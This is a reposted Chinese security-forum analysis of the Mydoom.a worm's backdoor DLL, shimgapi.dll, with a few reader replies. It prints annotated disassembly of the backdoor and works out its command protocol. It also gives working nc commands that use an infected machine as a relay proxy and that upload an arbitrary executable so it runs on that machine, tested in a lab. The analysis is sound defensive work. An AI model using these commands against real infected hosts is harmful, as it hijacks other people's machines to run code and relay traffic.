论坛: 编程破解 标题: 对Mydoom.a的shimgapi.dll的分析(转) 复制本贴地址    
作者: sinister [sinister]    论坛用户   登录
对Mydoom.a的shimgapi.dll的分析

tombkeeper#whitecell.org


Mydoom.a的后门是以dll形式存在的,通过修改注册表相应键值,将自己加载到资源管理器的进程空间中。

正常情况下,注册表应该是这个样子的:
HKEY_CLASSES_ROOT\CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InProcServer32
    <NO NAME>  REG_EXPAND_SZ  %SystemRoot%\System32\webcheck.dll
    ThreadingModel      REG_SZ  Apartment

而Mydoom.a将该处的%SystemRoot%\System32\webcheck.dll替换成自己的shimgapi.dll。

默认情况下,shimgapi.dll后门监听3127端口,如果该端口被占用,则递增,但不大于3198。

该后门提供了两个功能:
1、作为端口转发代理
2、作为后门,接收程序上传并执行

相关代码:
.text:7E1A1C44 sub_7E1A1C44    proc near              ; DATA XREF: start+19o
.text:7E1A1C44
.text:7E1A1C44 WSAData        = WSAData ptr -190h
.text:7E1A1C44
.text:7E1A1C44                sub    esp, 190h
.text:7E1A1C4A                push    esi
.text:7E1A1C4B                push    edi
.text:7E1A1C4C                call    sub_7E1A1A1F
.text:7E1A1C51                lea    eax, [esp+198h+WSAData]
.text:7E1A1C55                push    eax            ; lpWSAData
.text:7E1A1C56                push    2              ; wVersionRequested
.text:7E1A1C58                call    ds:WSAStartup
.text:7E1A1C5E                call    Address
.text:7E1A1C63                mov    edi, ds:Sleep
.text:7E1A1C69                mov    esi, 0C37h      ; 监听3127端口
.text:7E1A1C6E
.text:7E1A1C6E loc_7E1A1C6E:                          ; CODE XREF: sub_7E1A1C44+50j
.text:7E1A1C6E                push    3
.text:7E1A1C70                push    esi
.text:7E1A1C71                call    sub_7E1A1B52    ; bind子程序
.text:7E1A1C76                pop    ecx
.text:7E1A1C77                pop    ecx
.text:7E1A1C78                push    400h            ; dwMilliseconds
.text:7E1A1C7D                call    edi ; Sleep
.text:7E1A1C7F                cmp    esi, 0C7Eh      ; 端口不大于3198
.text:7E1A1C85                jle    short loc_7E1A1C93
.text:7E1A1C87                push    800h            ; dwMilliseconds
.text:7E1A1C8C                call    edi ; Sleep
.text:7E1A1C8E                mov    esi, 0C37h
.text:7E1A1C93
.text:7E1A1C93 loc_7E1A1C93:                          ; CODE XREF: sub_7E1A1C44+41j
.text:7E1A1C93                inc    esi            ; 如果端口大于3198则减1后重新bind
.text:7E1A1C94                jmp    short loc_7E1A1C6E
.text:7E1A1C94 sub_7E1A1C44    endp

当3127端口收到连接之后,如果recv的第一个字符是\x04,转入端口转发流程 --> 判断第二个字符是否是0x01 --> 取第5~8四个字符作为目标IP地址 --> 取3、4两个字符作为目标端口 --> 进行连接并和当前socket数据转发

例如,我们以\x00\x6e\xc0\xa8\x01\x0b作为连接指令,其中,\x00\x6e是110端口,\xc0\xa8\x01\x0b是192.168.1.11。

# printf \x04\x01\x00\x6e\xc0\xa8\x01\x0b\x00 | nc 192.168.7.33 3127
Z括 +OK Microsoft Exchange Server 2003 POP3 server version 6.5.6944.0 ready.

可以看到,发往192.168.1.11的110端口的会话被转回来了。请注意在返回的字符前面还包含了一段数据。再作测试:

# printf \x04\x01\x00\x6e\xc0\xa8\x01\x0b\x00 | nc 192.168.7.33 3127 | xxd -g 1
0000000: 04 5a 00 6e c0 a8 01 0b 2b 4f 4b 20 4d 69 63 72  .Z.n....+OK Micr
0000010: 6f 73 6f 66 74 20 45 78 63 68 61 6e 67 65 20 53  osoft Exchange S
0000020: 65 72 76 65 72 20 32 30 30 33 20 50 4f 50 33 20  erver 2003 POP3
0000030: 73 65 72 76 65 72 20 76 65 72 73 69 6f 6e 20 36  server version 6
0000040: 2e 35 2e 36 39 34 34 2e 30 20 28 64 63 2e 69 6e  .5.6944.0

尝试发送指令连接不存在的98端口:
# printf \x04\x01\x00\x62\xc0\xa8\x01\x0b\x00 | nc 192.168.7.33 3127 | xxd -g 1
0000000: 04 5b 00 62 c0 a8 01 0b                          .[.b....

很显然,那一段数据是表示连接状态的。04 5a表示连接成功,04 5b表示连接失败。后面的是发送过去的连接指令。这一特性可能是蠕虫作者为了方便自己的客户端判断而设计的。

相关代码:
.text:7E1A17F5
.text:7E1A17F5 loc_7E1A17F5:                          ; CODE XREF: sub_7E1A17BA+2Bj
.text:7E1A17F5                cmp    byte ptr [ebp-1], 4 ; 比较第一个字符是不是0x04
.text:7E1A17F9                push    ebx
.text:7E1A17FA                jnz    loc_7E1A18B7    ; 第一个字符不是0x04则转入退出
.text:7E1A1800                xor    ebx, ebx
.text:7E1A1802
.text:7E1A1802 loc_7E1A1802:                          ; CODE XREF: sub_7E1A17BA+65j
.text:7E1A1802                push    0              ; flags
.text:7E1A1804                push    8
.text:7E1A1806                pop    eax
.text:7E1A1807                sub    eax, ebx
.text:7E1A1809                push    eax            ; len
.text:7E1A180A                lea    eax, [ebp+ebx+buf]
.text:7E1A180E                push    eax            ; buf
.text:7E1A180F                push    [ebp+s]        ; s
.text:7E1A1812                call    esi ; recv
.text:7E1A1814                test    eax, eax
.text:7E1A1816                jl      short loc_7E1A1823
.text:7E1A1818                jz      short loc_7E1A1825
.text:7E1A181A                add    ebx, eax
.text:7E1A181C                cmp    ebx, 8          ; 比较接收到的字符够不够8个
.text:7E1A181F                jl      short loc_7E1A1802 ; 接受到的字符数不够则继续recv
.text:7E1A1821                jmp    short loc_7E1A1825
.text:7E1A1823 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:7E1A1823
.text:7E1A1823 loc_7E1A1823:                          ; CODE XREF: sub_7E1A17BA+5Cj
.text:7E1A1823                mov    ebx, eax
.text:7E1A1825
.text:7E1A1825 loc_7E1A1825:                          ; CODE XREF: sub_7E1A17BA+5Ej
.text:7E1A1825                                        ; sub_7E1A17BA+67j
.text:7E1A1825                cmp    ebx, 8
.text:7E1A1828                jnz    loc_7E1A1907
.text:7E1A182E                jmp    short loc_7E1A1836
.text:7E1A1830 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:7E1A1830
.text:7E1A1830 loc_7E1A1830:                          ; CODE XREF: sub_7E1A17BA+8Cj
.text:7E1A1830                cmp    [ebp+var_2], 0  ; 比较8个字符后的字符是否是0x00,也就是说是否只发送了8个字符
.text:7E1A1834                jz      short loc_7E1A184A
.text:7E1A1836
.text:7E1A1836 loc_7E1A1836:                          ; CODE XREF: sub_7E1A17BA+74j
.text:7E1A1836                push    0
.text:7E1A1838                lea    eax, [ebp+var_2]
.text:7E1A183B                push    1
.text:7E1A183D                push    eax
.text:7E1A183E                push    [ebp+s]
.text:7E1A1841                call    esi
.text:7E1A1843                cmp    eax, 1
.text:7E1A1846                jz      short loc_7E1A1830
.text:7E1A1848                jmp    short loc_7E1A18B7
.text:7E1A184A ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:7E1A184A
.text:7E1A184A loc_7E1A184A:                          ; CODE XREF: sub_7E1A17BA+7Aj
.text:7E1A184A                cmp    [ebp+buf], 4    ; 再次判断第一个字符是否是0x04
.text:7E1A184E                jnz    short loc_7E1A18B7
.text:7E1A1850                cmp    byte ptr [ebp-0Fh], 1 ; 判断第二个字符是否是0x01,如果是的,则继续,不是,则退出
.text:7E1A1854                jnz    short loc_7E1A18B7
.text:7E1A1856                cmp    [ebp+hostlong], 0 ; 判断末四个字符(IP)是否全0
.text:7E1A185A                jz      short loc_7E1A187C
.text:7E1A185C                push    [ebp+hostlong]  ; hostlong
.text:7E1A185F                call    ds:htonl
.text:7E1A1865                test    eax, 0FFFFFF00h ; 检查输入的IP是否是255.255.255.0
.text:7E1A186A                jnz    short loc_7E1A187C
.text:7E1A186C                push    [ebp+s]
.text:7E1A186F                lea    ebx, [ebp+hostlong]
.text:7E1A1872                call    sub_7E1A1664
.text:7E1A1877                test    eax, eax
.text:7E1A1879                pop    ecx
.text:7E1A187A                jnz    short loc_7E1A18B7
.text:7E1A187C
.text:7E1A187C loc_7E1A187C:                          ; CODE XREF: sub_7E1A17BA+A0j
.text:7E1A187C                                        ; sub_7E1A17BA+B0j
.text:7E1A187C                mov    ax, [ebp-0Eh]  ; 取前两个字符,作为端口
.text:7E1A1880                push    6              ; protocol
.text:7E1A1882                mov    word ptr [ebp+name.sa_data], ax
.text:7E1A1886                mov    eax, [ebp+hostlong]
.text:7E1A1889                push    1              ; type
.text:7E1A188B                push    2              ; af
.text:7E1A188D                mov    [ebp+name.sa_family], 2
.text:7E1A1893                mov    dword ptr [ebp+name.sa_data+2], eax
.text:7E1A1896                call    ds:socket
.text:7E1A189C                cmp    eax, 0FFFFFFFFh
.text:7E1A189F                mov    [ebp+var_8], eax
.text:7E1A18A2                jz      short loc_7E1A18B7
.text:7E1A18A4                lea    eax, [ebp+name]
.text:7E1A18A7                push    10h            ; namelen
.text:7E1A18A9                push    eax            ; name
.text:7E1A18AA                push    [ebp+var_8]    ; s
.text:7E1A18AD                call    ds:connect
.text:7E1A18B3                test    eax, eax
.text:7E1A18B5                jz      short loc_7E1A18D2
.text:7E1A18B7
.text:7E1A18B7 loc_7E1A18B7:                          ; CODE XREF: sub_7E1A17BA+40j
.text:7E1A18B7                                        ; sub_7E1A17BA+8Ej ...
.text:7E1A18B7                push    0              ; flags
.text:7E1A18B9                lea    eax, [ebp+buf]
.text:7E1A18BC                push    8              ; len
.text:7E1A18BE                push    eax            ; buf
.text:7E1A18BF                push    [ebp+s]        ; s
.text:7E1A18C2                mov    [ebp+buf], 4
.text:7E1A18C6                mov    byte ptr [ebp-0Fh], 5Bh ; 连接不成功,返回0x5B
.text:7E1A18CA                call    ds:send
.text:7E1A18D0                jmp    short loc_7E1A18F8
.text:7E1A18D2 ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.text:7E1A18D2
.text:7E1A18D2 loc_7E1A18D2:                          ; CODE XREF: sub_7E1A17BA+FBj
.text:7E1A18D2                push    0              ; flags
.text:7E1A18D4                lea    eax, [ebp+buf]
.text:7E1A18D7                push    8              ; len
.text:7E1A18D9                push    eax            ; buf
.text:7E1A18DA                push    [ebp+s]        ; s
.text:7E1A18DD                mov    [ebp+buf], 4
.text:7E1A18E1                mov    byte ptr [ebp-0Fh], 5Ah ; 连接成功,返回0x5A
.text:7E1A18E5                call    ds:send
.text:7E1A18EB                push    [ebp+var_8]
.text:7E1A18EE                push    [ebp+s]
.text:7E1A18F1                call    sub_7E1A16D3
.text:7E1A18F6                pop    ecx
.text:7E1A18F7                pop    ecx


如果recv的第1个字符是\xQQ --> 第2~5个字符是\xPP\xPP\xPP\xPP --> 接受从第六个字符开始的所有数据,作为文件保存在临时文件夹 --> CreateProcess --> 程序退出后,删除程序。

也就是说,只要我们把任意一个可执行文件的头部,加上五个字符:\xQQ\xPP\xPP\xPP\xPP,作为数据发送到感染了Mydoom.a蠕虫机器的3127端口,这个文件,就会在系统上被执行。我把系统的计算器程序,用UltraEdit加上了这个magic-head,用NC发送过去,成功执行了。

# xxd -g 1 -l 64 calc.exe
0000000: qq pp pp pp pp 4d 5a 90 00 03 00 00 00 04 00 00  ..<..MZ.........
0000010: 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00  .............@..
0000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

# nc 192.168.7.33 3127 < calc.exe
^C

相关代码:



地主 发表时间: 04-02-13 00:11

回复: blegding [blegding]   论坛用户   登录
再次领教了汇编的强大。。~!!~

B1层 发表时间: 04-02-13 19:31

回复: newmyth21 [newmyth21]   论坛用户   登录
没事顶我都头晕

B2层 发表时间: 04-02-13 19:50

回复: jacker [jacker]   论坛用户   登录
又一次拜读了 tombkeeper 的杰作.

B3层 发表时间: 04-06-02 14:58

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号